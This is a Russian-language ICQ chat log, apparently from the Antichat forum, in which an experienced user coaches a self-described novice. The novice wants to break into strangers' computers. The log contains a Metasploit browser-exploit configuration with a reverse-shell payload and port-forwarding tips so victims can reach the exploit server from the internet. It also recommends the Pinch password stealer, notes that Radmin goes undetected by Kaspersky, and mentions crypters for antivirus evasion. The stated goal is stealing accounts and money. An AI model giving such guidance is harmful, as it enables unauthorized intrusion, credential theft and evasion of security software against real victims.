ANTICHAT — форум по информационной безопасности, OSINT и технологиям

407466888 (21:39:18 20/04/2007)
прив

 qwer (21:39:26 20/04/2007)
во застал тя :)

 qwer (21:39:33 20/04/2007)
ну эт поможеш с прогой?

 qwer (21:41:08 20/04/2007)
У меня кароч сеть на много компов, вот я настроил  метасплоид, все ок тока вот в конце у меня пишет не тот ип оторый я пишу а тот которй у меня в сети 26

 lebed (21:46:57 20/04/2007)
щас погоди...

 lebed (21:51:11 20/04/2007)
давай подробней вирсия MSF, сплоит, начинка ?

 qwer (21:53:06 20/04/2007)
ща сек

 qwer (21:53:13 20/04/2007)
вот настройки я для себя писал

 qwer (21:53:58 20/04/2007)
use windows/browser/webview_setslice
set LHOST 88.888.888.888
set PAYLOAD windows/shell_reverse_tcp
set URIPATH index.html
exploit

 lebed (21:54:46 20/04/2007)
set LHOST 88.888.888.888 - тут твой IP того компа где метасплоит запущен

 qwer (21:55:03 20/04/2007)
да 8 это типа скрыто ;)

 qwer (21:55:15 20/04/2007)
мой ип который я определил на 2ip.ru

 lebed (21:55:29 20/04/2007)
нах, мне твой локальный IP нужен...:-D

 qwer (21:55:41 20/04/2007)
не там не локальный

 qwer (21:55:48 20/04/2007)
локальный 26

 qwer (21:55:52 20/04/2007)
а в начале стандарт

 qwer (21:55:55 20/04/2007)
192 168 0

 lebed (21:56:10 20/04/2007)
ты в локалке сплоит тестишь?

 qwer (21:56:35 20/04/2007)
нет мне хочется в нете :)

 qwer (21:56:44 20/04/2007)
ну вот смотри так реально

 qwer (21:56:51 20/04/2007)
я даю жертве ип он заходит

 lebed (21:57:00 20/04/2007)
LHOST - или внешний твой IP или локальный, редирект то есть с внешника на локальный?

 qwer (21:57:01 20/04/2007)
я в него сую троя и гг ему

 qwer (21:57:03 20/04/2007)
мона так?:)

 qwer (21:57:19 20/04/2007)
вот я пишу внешний

 lebed (21:57:26 20/04/2007)
мона, если начинка скачать и запустить...

 qwer (21:57:40 20/04/2007)
а потом когда там пишет что бла бла сервер старт и пишет локальный адрес почемуто

 lebed (21:57:49 20/04/2007)
через ADSL модем?

 qwer (21:58:12 20/04/2007)
нет у меня сеть

 lebed (21:58:19 20/04/2007)
все правильно так и должно быть

 qwer (21:58:22 20/04/2007)
ну типа сеточка компов больше 50

 qwer (21:58:28 20/04/2007)
и один типа мейн сервак

 qwer (21:58:37 20/04/2007)
вот через него все

 qwer (21:58:47 20/04/2007)
а как сделать чтоб метаэксплоид работал?

 lebed (21:58:58 20/04/2007)
сервер метасплоита поднимается на локальном адресе, а когда сцылку будешь впаривать замени на внешник!

 qwer (21:59:24 20/04/2007)
а те работает все просто написано не так да?

 lebed (21:59:35 20/04/2007)
у тебя должен редирект быть настроен на внутренний IP

 qwer (22:00:06 20/04/2007)
блин по русски скажи плиз чо за редикет :)

 lebed (22:00:07 20/04/2007)
У тебя две сетевухи на главном одна в интет, другая в локалку?

 qwer (22:00:23 20/04/2007)
нее

 qwer (22:00:30 20/04/2007)
у меня одна сетевуха 

 lebed (22:00:31 20/04/2007)
одна?

 qwer (22:00:52 20/04/2007)
вот допустим у нас с тобой локальная сеть, я второй комп а ты главный и я через тя в нет лезу

 lebed (22:00:55 20/04/2007)
как выход в инет организован?

 qwer (22:01:07 20/04/2007)
через другой комп сервак

 lebed (22:01:19 20/04/2007)
дык он роутер!

 qwer (22:01:33 20/04/2007)
и че? гг?

 lebed (22:01:36 20/04/2007)
на нём и висит внешний IP + внутренний

 qwer (22:01:56 20/04/2007)
наврн да

 qwer (22:02:21 20/04/2007)
и че терь делать? облом?

 lebed (22:02:34 20/04/2007)
кароч в локалке у тебя всё будет пахать, а из инета твой поднятый метасплоитом web-сервер со сплоитом доступен не будет, врубился?

 qwer (22:02:48 20/04/2007)
да

 qwer (22:02:57 20/04/2007)
блин фигова

 qwer (22:03:06 20/04/2007)
а это никак решить незя да?

 lebed (22:03:57 20/04/2007)
Ничё не делать, на сервере, который роутер (шлюз или чё там ещё стоит) надо настраивать редирект (переадресацию) с внешнегоIP->на внутренний твоего компа, понял?

 qwer (22:04:11 20/04/2007)
это к админу да?

 lebed (22:04:26 20/04/2007)
чтоб сплоит повис в инете на внешнем IP

 qwer (22:04:30 20/04/2007)
и еще чо получается что мне незя юзать даже трояны да?

 lebed (22:04:43 20/04/2007)
Почему?

 qwer (22:04:55 20/04/2007)
Слух мона тя попросить чтоб ты написал на таком языке штоб админы поняли 

 lebed (22:04:59 20/04/2007)
ты ссылку никому не впаришь просто

 lebed (22:05:10 20/04/2007)
точнее впаришь, а толку мало

 qwer (22:05:18 20/04/2007)
ну вот у меня какойто турецкий троян есть он типа сам к тебе конектится

 lebed (22:05:24 20/04/2007)
ты сервер и клиент различаешь?

 qwer (22:05:36 20/04/2007)
канешн

 qwer (22:05:50 20/04/2007)
как мне обьяснили эт другой както троян

 lebed (22:05:53 20/04/2007)
реверс коннект это называется

 qwer (22:06:29 20/04/2007)
блин я вот щас с тобой разговариваю как полный мудак на самом деле я не такой я просто волнуюсь и в этом деле я тока начинающий и максимально продуктивно юзал тока кейлоггеры 

 qwer (22:07:08 20/04/2007)
а какой троян можеш посоветовать?

 lebed (22:07:09 20/04/2007)
а чтоб он сработал, юзверь по ссылке сходить должен, то есть он сначала коннектится браузером к твоему компу

 qwer (22:07:34 20/04/2007)
да принцип работы того эксплоида я понял

 lebed (22:07:37 20/04/2007)
ПИНЧ

 qwer (22:07:54 20/04/2007)
он высылает да?

 qwer (22:08:27 20/04/2007)
мне просто хочется по чужому компу лазить и искать там

 qwer (22:08:28 20/04/2007)


 lebed (22:08:57 20/04/2007)
да пароли ворует

 qwer (22:09:08 20/04/2007)
а в компе лазить незя?

 qwer (22:09:32 20/04/2007)
а есть какойнить троян который не определяется ?

 lebed (22:10:19 20/04/2007)
Нет, РАДМИНА ставь или типо того, что нибудь...
читай все статьи начиная с этой http://www.forum.antichat.ru/thread21686.html

 lebed (22:10:44 20/04/2007)
криптованные непаленным криптором неопределяются 

 lebed (22:11:07 20/04/2007)
РАдмин, кстать каспером не палится 

 qwer (22:11:22 20/04/2007)
мда ну ты меня на место поставил а то я думал что чтото начинаю понимать в хакинге а щас понял что нихера не понимаю 

 qwer (22:11:30 20/04/2007)
ща прочитаю чо там написино

 lebed (22:12:08 20/04/2007)
Читай метасплоит, начиная с первой статьи и пробуй...

 qwer (22:12:09 20/04/2007)
мне бы вот желательно асб *****нуть да и аки на варку я щас пиздю вот и вмз все мне боольше ниче не нада  :D  

 qwer (22:12:22 20/04/2007)
а ту статью твою я прочитал всю

 lebed (22:12:34 20/04/2007)
ты хто на ачате то?

 qwer (22:12:45 20/04/2007)
я не регался там я просто читал

 lebed (22:13:16 20/04/2007)
лан, давай, покеда, работать нада...

 qwer (22:13:22 20/04/2007)
а т.е. ты хочеш подсказать что засунуть на сайт и так впаривать?

 qwer (22:13:25 20/04/2007)
сек плиз

 lebed (22:13:38 20/04/2007)
мона и так 

 qwer (22:13:46 20/04/2007)
а вот (я читал эту статью) эт если через сайт залить то будет работать?

 lebed (22:14:17 20/04/2007)
сплоит закачиваешь - файл, картинку и впариваешь, тока её нада сделать под себя и под свой сайт 

 lebed (22:14:41 20/04/2007)
не через сайт, а на сайт

 qwer (22:15:00 20/04/2007)
ну сайт я сделаю кароч прочитать твою статью и юзать да? а вот я смогу в комп залезть? (как впарить я найду способ богатая фантазия)

 lebed (22:15:39 20/04/2007)
кто заёдёт по ссылке если система дырявая, то твой трой закачается и запустится

 qwer (22:15:47 20/04/2007)
Кароч лана спс что подсказал, я понял что в сети сломать смогу а в нете нет пока мне админы не настроят, а через сайт смогу но статью вкурить нада 

 qwer (22:15:51 20/04/2007)
усе кул

 qwer (22:16:08 20/04/2007)
лана ща напечатаю в школе буду учить, эт я если чо еще постучу еще ок?  :rofl: 

 qwer (22:16:26 20/04/2007)
ну думаю я сам разберусь клево ты там написал

 lebed (22:17:07 20/04/2007)
ок, больше читай, там в статьях всё есть и втреде тоже ответы на все вопросы, так как ты спрашиваешь уже то, что я зае..ался одно и тоже всем рассказывать...

 qwer (22:17:43 20/04/2007)
Лана спс, извини что отнял время  удачи спс еще раз

 lebed (22:18:23 20/04/2007)
покеда...